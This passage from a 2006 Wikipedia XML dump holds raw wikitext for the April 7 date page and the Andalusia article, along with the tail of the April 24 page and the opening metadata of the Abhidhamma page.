*[[1942]] - [[Karin Boye]], Swedish author (b. [[1900]])
*1942 - [[Lucy Maude Montgomery]], Canadian author (b. [[1874]])
*[[1947]] - [[Willa Cather]], American writer (b. [[1873]])
*[[1960]] - [[Max von Laue]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1879]])
*[[1964]] - [[Gerhard Domagk]], German bacteriologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (declined) (b. [[1895]])
*[[1965]] - [[Louise Dresser]], American actress (b. [[1878]])
*[[1967]] - [[Vladimir Komarov]], cosmonaut (b. [[1927]])
*[[1974]] - [[Bud Abbott]], American actor and comedian (b. [[1895]])
*[[1980]] - [[Alejo Carpentier]], Cuban writer (b. [[1904]])
*[[1982]] - [[Ville Ritola]], Finnish athlete (b. [[1896]])
*[[1986]] - [[Wallis Simpson]], American wife of [[Edward VIII of the United Kingdom|Edward, Duke of Windsor]] (b. [[1896]])
*[[1993]] - [[Oliver Tambo]], South African activist and politician (b. [[1917]])
*[[1997]] - [[Pat Paulsen]], American comedian and politician (b. [[1927]])
*1997 - [[Eugene Stoner]], American engineer and weapons designer (b. [[1922]])
*[[2001]] - [[Al Hibbler]], American singer (b. [[1915]])
*[[2004]] - [[Estée Lauder (person)|Estée Lauder]], American cosmetics entrepreneur (b. [[1906]])
*[[2005]] - [[Ezer Weizman]], [[President of Israel]] (b. [[1924]])
*2005 - [[Fei Xiaotong]], Chinese sociologist (b. [[1910]])

==Holidays and observances==
*[[Armenian Genocide]] Remembrance Day
*[[Republic Day]] in [[the Gambia]] ([[1970]])
*[[Newman's Day]]
*The [[feast day]] of the following in the [[Roman Catholic Church]]:
**[[Saint Egbert]] of Northumbria
**[[Fidelis of Sigmaringen]]
**[[Honorius]]
**[[Deodatus]]
**[[Wilfrid]] of York
*[[24-hour comic|24-Hour Comics Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/24 BBC: On This Day]

----

[[April 23]] - [[April 25]] - [[March 24]] - [[May 24]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:24 April]]
[[ar:24 إبريل]]
[[an:24 d'abril]]
[[ast:24 d'abril]]
[[bg:24 април]]
[[be:24 красавіка]]
[[bs:24. april]]
[[ca:24 d'abril]]
[[ceb:Abril 24]]
[[cv:Ака, 24]]
[[co:24 d'aprile]]
[[cs:24. duben]]
[[cy:24 Ebrill]]
[[da:24. april]]
[[de:24. April]]
[[et:24. aprill]]
[[el:24 Απριλίου]]
[[es:24 de abril]]
[[eo:24-a de aprilo]]
[[eu:Apirilaren 24]]
[[fo:24. apríl]]
[[fr:24 avril]]
[[fy:24 april]]
[[ga:24 Aibreán]]
[[gl:24 de abril]]
[[ko:4월 24일]]
[[hr:24. travnja]]
[[io:24 di aprilo]]
[[id:24 April]]
[[ia:24 de april]]
[[ie:24 april]]
[[is:24. apríl]]
[[it:24 aprile]]
[[he:24 באפריל]]
[[jv:24 April]]
[[ka:24 აპრილი]]
[[csb:24 łżëkwiôta]]
[[ku:24'ê avrêlê]]
[[lt:Balandžio 24]]
[[lb:24. Abrëll]]
[[li:24 april]]
[[hu:Április 24]]
[[mk:24 април]]
[[ms:24 April]]
[[nap:24 'e abbrile]]
[[nl:24 april]]
[[ja:4月24日]]
[[no:24. april]]
[[nn:24. april]]
[[oc:24 d'abril]]
[[pl:24 kwietnia]]
[[pt:24 de Abril]]
[[ro:24 aprilie]]
[[ru:24 апреля]]
[[sco:24 Aprile]]
[[sq:24 Prill]]
[[scn:24 di aprili]]
[[simple:April 24]]
[[sk:24. apríl]]
[[sl:24. april]]
[[sr:24. април]]
[[fi:24. huhtikuuta]]
[[sv:24 april]]
[[tl:Abril 24]]
[[tt:24. Äpril]]
[[te:ఏప్రిల్ 24]]
[[th:24 เมษายน]]
[[vi:24 tháng 4]]
[[tr:24 Nisan]]
[[uk:24 квітня]]
[[ur:24 اپریل]]
[[wa:24 d' avri]]
[[war:Abril 24]]
[[zh:4月24日]]
[[pam:Abril 24]]</text>
    </revision>
  </page>
  <page>
    <title>April 7</title>
    <id>2735</id>
    <revision>
      <id>41696330</id>
      <timestamp>2006-03-01T03:02:01Z</timestamp>
      <contributor>
        <username>Stapler 9 42</username>
        <id>728536</id>
      </contributor>
      <minor />
      <comment>/* Births */ Spelling of 'sitar'</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=7}}
|}
'''[[April 7]]''' is the 97th day of the year in the [[Gregorian calendar]] (98th in [[leap year]]s). There are 268 days remaining.
==Events==
*[[529]] - First draft of [[Corpus Juris Civilis]] (a fundamental work in [[jurisprudence]]) is issued by [[Eastern Roman Emperor]] [[Justinian I]]
*[[1348]] - [[University of Prague|Charles University]] is founded in [[Prague]]. 
*[[1521]] - [[Ferdinand Magellan]] arrives at [[Cebu]]
*[[1541]] - [[Francis Xavier]] leaves [[Lisbon]] on a mission to the [[Portugal|Portuguese]] [[East Indies]].
*[[1655]] - Fabio Chigi becomes [[Pope Alexander VII]].
*[[1795]] - [[France]] adopts the [[metre]] as the unit of length. 
*[[1798]] - The [[Mississippi Territory]] is organized from territory ceded by [[Georgia (U.S. state)|Georgia]] and [[South Carolina]] and is later twice expanded to include disputed territory claimed by both the U.S. and Spain.
*[[1805]] - [[Lewis and Clark Expedition]]: The Corps of Discovery breaks camp among the [[Mandan]] tribe and resumes its journey West along the [[Missouri River]].
*1805 - First public performance of [[Ludwig van Beethoven|Beethoven]]'s [[Symphony No. 3 (Beethoven)|Third Symphony]] (Eroica).
*[[1827]] - [[John Walker (inventor)]], an English [[chemist]], invents the [[friction match]].
*[[1829]] - [[Joseph Smith, Jr.]], founder of the [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]], commences translation of the [[Book of Mormon]], with [[Oliver Cowdery]] as his scribe.
*[[1831]] - Emperor [[Peter I of Brazil|Pedro I of Brazil]] abdicates in favor of his son, [[Pedro II of Brazil|Pedro II]]. 
*[[1856]] - Foundation of [[Nelson College]], [[Nelson, New Zealand]]. 
*[[1862]] - [[American Civil War]]: [[Battle of Shiloh]] ends - [[Union Army]] under General [[Ulysses S. Grant]] defeat the [[Confederate States of America|Confederates]] near [[Shiloh, Tennessee]].
*[[1906]] - [[Mount Vesuvius]] erupts and devastates [[Naples]].
*1906 - The [[Algeciras Conference]] gives [[France]] and [[Spain]] control over [[Morocco]].
*[[1908]] - [[Herbert Henry Asquith]] takes office as [[Prime Minister of the United Kingdom]], from Sir [[Henry Campbell-Bannerman]] 
*[[1922]] - [[Teapot Dome scandal]]: [[United States Secretary of the Interior]] leases [[Teapot Dome]] [[petroleum]] reserves in [[Wyoming]].  
*[[1927]] - First long distance [[public television]] broadcast ([[Washington, DC]] to [[New York City]], displaying the image of Commerce Secretary [[Herbert Hoover]]).  
*[[1933]] - The [[Law for the Restoration of the Professional Civil Service]], the first law meant to discriminate specifically against Jews is passed by the National Socialist regime in Germany.
*[[1934]] - The [[Congress of the United States|U.S. Congress]] passes the [[Jones-Connally Farm-Relief Act]].
*[[1939]] - [[World War II]]: [[Italy]] invades [[Albania]]. 
*[[1940]] - [[Booker T. Washington]] becomes the first [[African American]] to be depicted on a [[United States]] [[postage stamp]]. 
*[[1943]] - First synthesis of [[LSD]], lysergic acid diethylamide, by Albert Hoffman 
*[[1945]] - [[World War II]]: The [[Japanese battleship Yamato|Japanese battleship ''Yamato'']] is sunk 200 miles north of [[Okinawa]] while in-route to a suicide mission. 
*1945 - [[Kantaro Suzuki]] becomes the [[List of Prime Ministers of Japan|42nd]] [[Prime Minister of Japan|Prime Minister]] of [[Japan]]
*[[1946]] - [[Syria|Syria's]] independence from [[Vichy France]] is officially recognised
*[[1948]] - The [[World Health Organization]] is established by the [[United Nations]].
*[[1952]] - The [[manga]] ''[[Astro Boy]]'' debuts in the monthly magazine ''Sh&amp;#333;nen''.
*[[1953]] - [[Dag Hammarskjöld]] is elected [[United Nations Secretary General]]. 
*[[1954]] - U.S. President [[Dwight D. Eisenhower]] gives his &quot;[[domino theory]]&quot; speech during a news conference. 
*[[1955]] - [[Anthony Eden]] becomes [[Prime Minister of the United Kingdom]]
*[[1956]] - [[Spain]] relinquishes its [[protectorate]] in [[Morocco]]. 
*[[1963]] - [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] is proclaimed to be a [[Socialist republic]] and [[Josip Broz Tito]] is named President for life. 
*[[1964]] - [[International Business Machines|IBM]] announces the [[System/360]] 
*[[1967]] - [[Six-Day War]]: [[Israel]]i fighters shoot down seven Syrian [[MIG-21]]s.  
*[[1968]] - [[Formula One]] racer [[Jim Clark (racing driver)|Jim Clark]] is killed in an accident during a Formula 2 race in [[Hockenheim]], [[Germany]].
*[[1969]] - The [[Internet]]'s symbolic birth date: publication of [[Request for Comments|RFC]] 1.
*[[1977]] - German Federal Prosecutor [[Siegfried Buback]] and his driver are shot by two [[Red Army Faction]] members while waiting at a red light.
*1977 - [[Toronto Blue Jays]] play their first-ever game of [[baseball]] against the [[Chicago White Sox]].
*[[1980]] - The [[United States]] severs diplomatic relations with [[Iran]] and imposes economic sanctions following the taking of American hostages on [[November 4]], [[1979]].  
*[[1983]] - During [[STS-6]], astronauts [[Story Musgrave]] and [[Don Peterson]] perform the first [[space shuttle]] spacewalk (duration: 4 hours, 10 minutes).  
*[[1989]] - [[Soviet submarine Komsomolets]] sinks in the [[Barents Sea]] off the coast of [[Norway]] after a fire. 42 sailors die. 
*[[1990]] - [[Iran Contra Affair]]: [[John Poindexter]] is found guilty of five charges for his part in the scandal but the convictions were later reversed after an appeal.  
*[[1992]] - [[Republika Srpska]] announces its independence.
*[[1994]] - Massacres of [[Tutsis]] begin in [[Kigali]], [[Rwanda]]. 
*[[1998]] - [[Citicorp]] and [[Travelers Group]] announce plans to merge creating the largest financial-services conglomerate in the world, [[Citigroup]].  
*1998 - Singer [[George Michael]] is arrested in a [[Beverly Hills]] public [[restroom]] for &quot;[[cottaging|engaging in a lewd act]].&quot;
*[[1999]] - [[Kosovo War]]: [[Kosovo]]'s main border crossings are closed by [[Serbia]]n forces to prevent ethnic [[Albania]]ns from leaving.
*[[2001]] - [[Mars Odyssey]] is launched.
*2001 - An M-17 helicopter crashes into mountain in south of [[Hanoi, Vietnam]] killing 16. 
*[[2003]] - US troops capture [[Baghdad]], [[Saddam Hussein]]'s regime falls two days later.
*[[2005]] - The State of [[Connecticut]] allows same-sex civil unions.

==Births==
*[[1506]] - Saint [[Francis Xavier]], Spanish founder of the Society of Jesus (d. [[1552]])
*[[1613]] - [[Gerhard Douw]], Dutch painter (d. [[1675]])
*[[1644]] - [[François de Neufville, duc de Villeroi]], French soldier (d. [[1730]])
*[[1648]] - [[John Sheffield, 1st Duke of Buckingham and Normanby]], English statesman and poet (d. [[1721]])
*[[1652]] - [[Pope Clement XII]] (d. [[1740]])
*[[1718]] - [[Hugh Blair]], Scottish preacher and man of letters (d. [[1800]])
*[[1727]] - [[Michel Adanson]], French botanist (d. [[1806]])
*[[1763]] - [[Domenico Dragonetti]], Italian composer 
*[[1770]] - [[William Wordsworth]], English poet (d. [[1850]])
*[[1772]] - [[Charles Fourier]], French philosopher (d. [[1837]])
*[[1803]] - [[James Curtiss]], Mayor of Chicago (d. [[1859]])
*[[1848]] - [[Randall Thomas Davidson]], [[Archbishop of Canterbury]] (d. [[1930]])
*[[1860]] - [[Will Keith Kellogg]], American cereal manufacturer (d. [[1951]])
*[[1867]] - [[Holger Pedersen]], Danish linguist (d. [[1953]])
*[[1870]] - [[Gustav Landauer]], German anarchist and revolutionary (d. [[1919]])
*[[1873]] - [[John McGraw (baseball)|John McGraw]], baseball player and manager (d. [[1934]])
*[[1883]] - [[Gino Severini]], Italian painter (d. [[1966]])
*[[1886]] - [[Ed Lafitte]], Baseball player (d. [[1971]])
*[[1889]] - [[Gabriela Mistral]], Chilean writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1957]])
*[[1890]] - [[Marjory Stoneman Douglas]], American conservationist and writer (d. [[1998]])
*[[1891]] - [[Ole Kirk Christiansen]], Danish inventor (d. [[1958]])
*[[1893]] - [[Allen Dulles]], American Central Intelligence Agency director (d. [[1969]])
*[[1897]] - [[Walter Winchell]], American broadcaster and journalist (d. [[1972]])
*[[1899]] - [[Robert Casadesus]], French pianist (d. [[1972]])
*[[1908]] - [[Percy Faith]], Canadian composer and musician (d. [[1976]])
*[[1915]] - [[Billie Holiday]], American singer (d. [[1959]])
*1915 - [[Henry Kuttner]], American writer (d. [[1958]])
*[[1917]] - [[R.G. Armstrong]], American actor
*[[1918]] - [[Bobby Doerr]], baseball player
*[[1919]] - [[Edoardo Mangiarotti]], Italian fencer
*[[1920]] - [[Ravi Shankar (musician)]], Indian sitar player 
*[[1922]] - [[Mongo Santamaria]], Cuban musician (d. [[2003]])
*[[1924]] - [[Johannes Mario Simmel]], Austrian writer
*[[1927]] - [[Babatunde Olatunji]], Nigerian drummer (d. [[2003]])
*[[1928]] - [[James Garner]], American actor
*1928 - [[Alan J. Pakula]], American producer and director (d. [[1998]])
*1928 - [[James White (author)|James White]], Northern Irish science fiction writer (d. [[1999]])
*[[1929]] - [[Bob Denard]], French soldier
*[[1930]] - [[Andrew Sachs]], British actor
*[[1931]] - [[Donald Barthelme]], American author
*[[1933]] - [[Wayne Rogers]], American actor
*[[1934]] - [[Ian Richardson]], British actor
*[[1935]] - [[Bobby Bare]], American musician
*[[1936]] - [[Jean-Pierre Changuex]], French neuroscientist 
*[[1938]] - [[Jerry Brown]], American politician
*1938 - [[Freddie Hubbard]], American jazz trumpeter
*[[1939]] - [[Francis Ford Coppola]], American film director
*1939 - Sir [[David Frost (broadcaster)|David Frost]], English broadcaster and television host
*[[1944]] - [[Julia Phillips]], American film producer and writer (d. [[2002]])
*1944 - [[Gerhard Schröder]], [[Chancellor of Germany]]	
*[[1945]] - [[Joël Robuchon]], French chef
*1945 - [[Megas|Magnús Þór Jónsson]] (Megas), Icelandic vocalist, songwriter and writer
*[[1946]] - [[Colette Besson]], French runner
*[[1949]] - [[John Oates]], American musician ([[Hall and Oates]])
*[[1951]] - [[Janis Ian]], American singer and songwriter
*[[1954]] - [[Jackie Chan]], Hong Kong actor
*1954 - [[Tony Dorsett]], American football player
*[[1955]] - [[Werner Stocker]], German actor (d. [[1993]])
*[[1956]] - [[Charles Carreon]], American lawyer and author
*1956 - [[Christopher Darden]], American [[O.J. Simpson]] prosecuter
*[[1961]] - [[Pascal Olmeta]], French footballer
*[[1962]] - [[Hugh O'Connor]], American actor (d. [[1995]])
*1962 - [[Alain Robert]], French rock and urban climber
*[[1964]] - [[Russell Crowe]], New Zealand actor
*[[1965]] - [[Bill Bellamy]], American actor and comedian
*1965 - [[Alison Lapper]], British artist
*[[1966]] - [[Gary Wilkinson]], English snooker player
*[[1970]] - [[Leif Ove Andsnes]], Norwegian pianist
*[[1971]] - [[Guillaume Depardieu]], French actor, son of [[Gérard Depardieu]]
*[[1973]] - [[Carole Montillet]], French skier
*[[1975]] - [[Tiki Barber]], New York Giants Running Back (American Football)
*1975 - [[Ronde Barber]], Tampa Bay Buccaneers Cornerback (American Football)
*[[1979]] - [[Tony Malone]], British designer and activist

==Deaths==
*[[858]] - [[Pope Benedict III]]
*[[1307]] - [[Joan of Acre]], daughter of [[Edward I of England]] (b. [[1271]])
*[[1498]] - King [[Charles VIII of France]] (b. [[1470]])
*[[1614]] - [[El Greco]], Greek-born artist (b. [[1541]])
*[[1638]] - [[Shimazu Tadatsune]], Japanese ruler of Satsuma (b. [[1576]])
*[[1651]] - [[Lennart Torstenson]], Swedish soldier and engineer (b. [[1603]])
*[[1658]] - [[Juan Eusebio Nieremberg]], Spanish mystic (b. [[1595]])
*[[1661]] - [[William Brereton]], English soldier and politician (b. [[1604]])
*[[1663]] - [[Francis Cooke]], Mayflower pilgrim
*[[1668]] - [[William Davenant]], English poet (b. [[1606]])
*[[1719]] - [[Jean-Baptiste de la Salle]], French saint (b. [[1651]])
*[[1739]] - [[Dick Turpin]], English highwayman (hanged) (b. [[1706]])
*[[1747]] - [[Leopold I, Prince of Anhalt-Dessau]], Prussian field marshall (b. [[1676]])
*[[1761]] - [[Thomas Bayes]] English mathematician (b. [[1702]])
*[[1766]] - [[Tiberius Hemsterhuis]], Dutch philologist and critic (b. [[1685]])
*[[1767]] - [[Franz Sparry]], composer (b. [[1715]])
*[[1782]] - [[Taksin]], King of Thailand (b. [[1734]])
*[[1789]] - [[Abd-ul-Hamid I]], [[Ottoman Sultan]] (b. [[1725]])
*1789 - [[Petrus Camper]], Dutch anatomist (b. [[1722]])
*[[1801]] - [[Noël François de Wailly]], French lexicographer (b. [[1724]])
*[[1823]] - [[Jacques Charles]], French chemist (b. [[1746]])
*[[1833]] - [[Antoni Radziwiłł]], Polish politician (b. [[1775]])
*[[1836]] - [[William Godwin]], English political writer (b. [[1756]])
*[[1850]] - [[William Lisle Bowles]], English poet and critic (b. [[1762]])
*[[1858]] - [[Anton Diabelli]], Austrian music publisher, editor, and composer (b. [[1781]])
*[[1871]] - [[Alexander Lloyd]], Mayor of Chicago (b. [[1805]])
*[[1885]] - [[Carl Theodor Ernst von Siebold]], German physiologist (b. [[1804]])
*[[1891]] - [[P. T. Barnum]], American circus impresario (b. [[1810]])
*[[1928]] - [[Alexander Bogdanov]], Russian physician and philosopher (b. [[1873]])
*[[1939]] - [[Joseph Lyons]], tenth [[Prime Minister of Australia]] (b. [[1879]])
*[[1943]] - [[Jovan Ducic]], Serbian poet
*1943 - [[Alexandre Millerand]], [[President of France]] (b. [[1859]])
*[[1947]] - [[Henry Ford]], American automobile manufacturer and industrialist (b. [[1863]])
*[[1950]] - [[Walter Huston]], Canadian-born actor (b. [[1884]])
*[[1955]] - [[Theda Bara]], American film actress (b. [[1885]])
*[[1968]] - [[Jim Clark (racing driver)|Jimmy Clark]], Scottish race car driver (b. [[1936]])
*[[1981]] - [[Norman Taurog]], American film director (b. [[1899]])
*[[1984]] - [[Frank Church]], U.S. Senator from Idaho (b. [[1924]])
*[[1986]] - [[Leonid Kantorovich]], Russian economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (b. [[1912]])
*[[1990]] - [[Ronald Evans]], astronaut (b. [[1933]])
*[[1994]] - [[Albert Guðmundsson]], Icelandic professional football player and politician (b. [[1923]])
*1994 - [[Golo Mann]], German historian (b. [[1909]])
*1994 - [[Agathe Uwilingiyimana]], [[Prime Minister of Rwanda]] (b. [[1953]])
*[[1997]] - [[Witto Aloma]], baseball player (b. [[1923]])
*1997 - [[Georgi Shonin]], cosmonaut (b. [[1935]])
*[[1998]] - [[Marjory Stoneman Douglas]], American conservationist and environmentalist (b. [[1890]])
*[[2001]] - [[David Graf]], American actor (b. [[1950]])
*2001 - [[Beatrice Straight]], American actress (b. [[1914]])
*[[2002]] - [[John Agar]], American actor (b. [[1921]])
*[[2003]] - [[Cecile de Brunhoff]], French storyteller (b. [[1903]])
*[[2005]] - [[Bob Kennedy]], baseball player and manager (b. [[1920]])

==Holidays and observances==
*[[Araw ng Kagitingan]] was moved this year from [[April 9]] to April 7 to give the residents a long weekend and help [[tourism]] in the [[Philippines]].
*[[World Health Day]] - April 7th of every year is designated as World Health Day and celebrated by the 191 member countries of the [[World Health Organization]] to emphasize significant issues in public health of worldwide concern. Observed annually since [[1948]].
*[[Mozambique]] - Women's Day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/7 BBC: On This Day]
* [http://www.tnl.net/when/4/7 Today in History: April 7]

----

[[April 6]] - [[April 8]] - [[March 7]] - [[May 7]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:7 April]]
[[ar:7 ابريل]]
[[an:7 d'abril]]
[[ast:7 d'abril]]
[[bg:7 април]]
[[be:7 красавіка]]
[[bs:7. april]]
[[ca:7 d'abril]]
[[ceb:Abril 7]]
[[cv:Ака, 7]]
[[co:7 d'aprile]]
[[cs:7. duben]]
[[cy:7 Ebrill]]
[[da:7. april]]
[[de:7. April]]
[[et:7. aprill]]
[[el:7 Απριλίου]]
[[es:7 de abril]]
[[eo:7-a de aprilo]]
[[eu:Apirilaren 7]]
[[fo:7. apríl]]
[[fr:7 avril]]
[[fy:7 april]]
[[ga:7 Aibreán]]
[[gl:7 de abril]]
[[ko:4월 7일]]
[[hr:7. travnja]]
[[io:7 di aprilo]]
[[id:7 April]]
[[ia:7 de april]]
[[ie:7 april]]
[[is:7. apríl]]
[[it:7 aprile]]
[[he:7 באפריל]]
[[jv:7 April]]
[[ka:7 აპრილი]]
[[csb:7 łżëkwiôta]]
[[ku:7'ê avrêlê]]
[[lt:Balandžio 7]]
[[lb:7. Abrëll]]
[[li:7 april]]
[[hu:Április 7]]
[[mk:7 април]]
[[ms:7 April]]
[[nap:7 'e abbrile]]
[[nl:7 april]]
[[ja:4月7日]]
[[no:7. april]]
[[nn:7. april]]
[[oc:7 d'abril]]
[[pl:7 kwietnia]]
[[pt:7 de Abril]]
[[ro:7 aprilie]]
[[ru:7 апреля]]
[[se:Cuoŋománu 7.]]
[[sco:7 Aprile]]
[[sq:7 Prill]]
[[scn:7 di aprili]]
[[simple:April 7]]
[[sk:7. apríl]]
[[sl:7. april]]
[[sr:7. април]]
[[fi:7. huhtikuuta]]
[[sv:7 april]]
[[tl:Abril 7]]
[[tt:7. Äpril]]
[[te:ఏప్రిల్ 7]]
[[th:7 เมษายน]]
[[vi:7 tháng 4]]
[[tr:7 Nisan]]
[[uk:7 квітня]]
[[ur:7 اپریل]]
[[wa:7 d' avri]]
[[war:Abril 7]]
[[zh:4月7日]]
[[pam:Abril 7]]</text>
    </revision>
  </page>
  <page>
    <title>Andalusia</title>
    <id>2736</id>
    <revision>
      <id>41974359</id>
      <timestamp>2006-03-02T23:57:35Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ro</comment>
      <text xml:space="preserve">{{Otheruses}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+'''Comunidad Autónoma de&lt;br/&gt;&lt;big&gt;&lt;big&gt;Andalucía&lt;/big&gt;&lt;/big&gt;'''
|-
| bgcolor=&quot;#ffffff&quot; align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0
|-
| align=center width=148 | [[Image:Flag es-andalucía 300px.png|150px]]
| align=center width=148 | [[Image:Escudo Andalucía.png|70px|Escudo de Andalucía]]

|-
| align=center width=148 | [[Flag of Andalusia|Flag]]
| align=center width=148 | [[Coat of Arms of Andalusia|Coat of Arms]]
|}
|-
| align=center colspan=2 | &lt;small&gt;''[[Motto]]: Dominator Hercules Fundator
Andalucía por sí, para España y la humanidad&lt;br/&gt;(Andalusia for herself, for Spain, and for humanity)''&lt;/small&gt;
|-
| bgcolor=&quot;#c6c6c6&quot; align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Locator map of Andalusia.png]]
|-
| [[Capital]] || [[Seville]]
|-
| [[Area]]&lt;br/&gt;&amp;nbsp;&amp;ndash; Total&lt;br/&gt;&amp;nbsp;&amp;ndash; % of Spain
| [[List of Spanish autonomous communities by area|Ranked 2nd]]&lt;br/&gt;&amp;nbsp;[[1 E10 m²|87 268]] [[square kilometre|km²]]&lt;br/&gt;&amp;nbsp;17,2%
|-
| [[Population]]&lt;br/&gt;&amp;nbsp;&amp;ndash; Total (2005)&lt;br/&gt;&amp;nbsp;&amp;ndash; % of Spain&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Density]]
| [[List of Spanish autonomous communities by population|Ranked 1st]]&lt;br/&gt;&amp;nbsp;7.849.799&lt;br/&gt;&amp;nbsp;17,9%&lt;br/&gt;&amp;nbsp;89,95/km²
|-
| [[Demonym]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[English language|English]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish language|Spanish]]
|&lt;br/&gt;&amp;nbsp;Andalusian&lt;br/&gt;&amp;nbsp;''andaluz, andaluza''
|-
| Statute of Autonomy || [[January 11]], [[1982]]
|-
| [[Cortes Generales|Parliamentary&lt;br/&gt;representation]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish Congress|Congress seats]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish Senate|Senate seats]]
| valign=bottom | &amp;nbsp;62&lt;br/&gt;&amp;nbsp;8
|-
| valign=top | [[List of Andalusian Presidents|President]]
| [[Manuel Chaves González]] ([[Spanish Socialist Workers' Party|PSOE]])
|-
| align=center colspan=2 | [http://www.juntadeandalucia.es Junta de Andalucía]
|}
'''Andalusia''' ([[Spanish language|Spanish]]: ''Andalucía'') is a region of [[Spain]]. Andalusia is the most populated and second largest of the seventeen [[Autonomous communities of Spain|autonomous communities]] that constitute Spain. Its capital is [[Seville]]. Andalusia is bounded on the north by [[Extremadura]] and [[Castile-La Mancha]], on the east by [[Murcia]], on the south Morroco and the [[Strait of Gibraltar]], and on the west by southern [[Portugal]]. 

The name Andalusia is derived from the [[Arabic language|Arabic]] name &quot;Al Andalus&quot;, which referred to the parts of the Iberian peninsula which were under [[Muslim]] rule. The Islamic history of Muslim Spain can be found in the entry [[al-Andalus]]. [[Tartessos]], the capital of a once great and powerful Tartessian Civilization, was located in Andalusia, and was known in the Bible by the name of Tarsis. More information about this region can be found in the entry ''[[Hispania Baetica]]'', the name of the Roman province that corresponds to the region.   

Andalusian culture has been deeply marked by the eight centuries of Muslim rule over the region, which ended in 1492 with the conquest of Granada by the Catholic monarchs.  

The Spanish spoken in the [[Americas]] is largely descended from the [[Andalusian dialect]] of [[Spanish language|Castilian Spanish]] due to the role played by Seville as the gateway to Spain's American territories in the 16th and 17th centuries.

Andalusia is known for its moorish architecture. Famous monuments include the [[Alhambra]] in [[Granada]], the [[Mezquita]] in [[Córdoba, Spain|Córdoba]] and the [[Torre del Oro]] and [[Giralda]] towers in Seville and the [[Reales Alcázares]] in Seville. Archaeological remains include [[Medina Azahara]], near Córdoba and [[Itálica]], near Seville.

[[Andalusian cuisine]] is known for its use of [[fish]] and [[shellfish]], its [[dessert]]s, and its world-famous [[sherry]].

Andalusia is divided into eight [[provinces of Spain|provinces]] named after the capital cities of these provinces:

*[[Sevilla (province)|Sevilla]]
*[[Granada (province)|Granada]]
*[[Córdoba Province, Spain|Córdoba]]
*[[Cádiz (province)|Cádiz]]
*[[Málaga (province)|Málaga]]
*[[Huelva (province)|Huelva]]
*[[Jaén Province, Spain|Jaén]]
*[[Almería (province)|Almería]]

Other Andalusian towns are:
*[[Algeciras]], Cádiz
*[[Jerez]], Cádiz
*[[Marbella]], Málaga
*[[San Fernando]], Cádiz
*[[Dos Hermanas]], Sevilla
*[[Antequera]], Málaga
*[[Motril]], Granada
*[[Ronda]], [[Gaucín]], and the so-called &quot;''[[pueblos blancos]]'',&quot; Málaga


Andalusia is the home of [[flamenco]] music and of [[bullfighting]]. 

Day of Andalusia is celebrated on [[February 28]].

==External links==
*[http://www.guiadecadiz.com] (in Spanish)
*[http://www.andalusien-tours.de] (in German)
*[http://www.juntadeandalucia.es/SP/Junta_de_Andalucia/CDA/Paginas/JDA-IndiceSimbolos/0,16390,,00.html Statute of Autonomy] (in Spanish)
*[http://www.juntadeandalucia.es/ Government of Andalusia] (in Spanish)
*[http://www.parlamento-and.es/ Parliament of Andalusia] (in Spanish)
*[http://www.juntadeandalucia.es/institutodeestadistica/dtbas/dtb03/dtb03.pdf Basic statistical data for Andalusia] (in Spanish, .pdf format)
*[http://www.andalucia.co.uk Andalucia Info]
*[http://www.crwflags.com/fotw/flags/es-an_hi.html History of the Andalusian Flag]
*[http://www.ana-andalucia.org/index.htm Asamblea Nacional de Andalucia] (in Spanish, interesting History and [[Andalusian dialect]] section)
*[http://www.costaluz.info/en/info_index.php/ CostaLuz.info] Information &amp; Directory for the Costa de la Luz
*[http://www.CostaLuzSpain.com/ Costa Luz Spain.com] Business &amp; Services Directory for Huelva &amp; Cadiz Provinces (Costa de la Luz) in Andalucia.
* [http://www.iberianature.com/material/wild_nature_sites/andalusia_nature.htm A guide to the natural history of Andalusia]

{{Spain}}

[[Category:Andalusia]]
[[Category:Autonomous communities of Spain]]
[[Category:Vandal history]]
[[Category:NUTS 2 Statistical Regions of Europe]]

[[ar:منطقة الأندلس الذاتية الحكم]]
[[an:Andaluzía]]
[[ast:Andalucía]]
[[bg:Андалусия]]
[[ca:Andalusia]]
[[cs:Andalusie]]
[[cy:Andalucía]]
[[da:Andalusien]]
[[de:Andalusien]]
[[et:Andaluusia]]
[[es:Andalucía]]
[[eo:Andaluzio]]
[[eu:Andaluzia]]
[[fa:اندلس]]
[[fr:Andalousie]]
[[gl:Andalucía]]
[[id:Andalusia]]
[[it:Andalusia]]
[[ka:ანდალუსია]]
[[la:Vandalitia]]
[[lv:Andalūzija]]
[[lb:Andalusien]]
[[hu:Andalúzia]]
[[nl:Andalusië]]
[[ja:アンダルシア州]]
[[no:Andalucía]]
[[nn:Andalucía]]
[[pl:Andaluzja]]
[[pt:Andaluzia]]
[[ro:Andaluzia]]
[[ru:Андалусия]]
[[sr:Андалузија]]
[[fi:Andalusia]]
[[sv:Andalusien]]
[[tl:Andalucía]]
[[uk:Андалузія]]
[[zh:安達魯西亞]]</text>
    </revision>
  </page>
  <page>
    <title>Abhidhamma</title>
    <id>2738</id>
    <revision>
      <id>41202028</id>
      <timestamp>2006-02-25T19:25:21Z</timestamp>
      <contributor>
        <ip>125.22.3.177</ip>
      </contributor>
      <comment>/* External links */ broken link fix</comment>
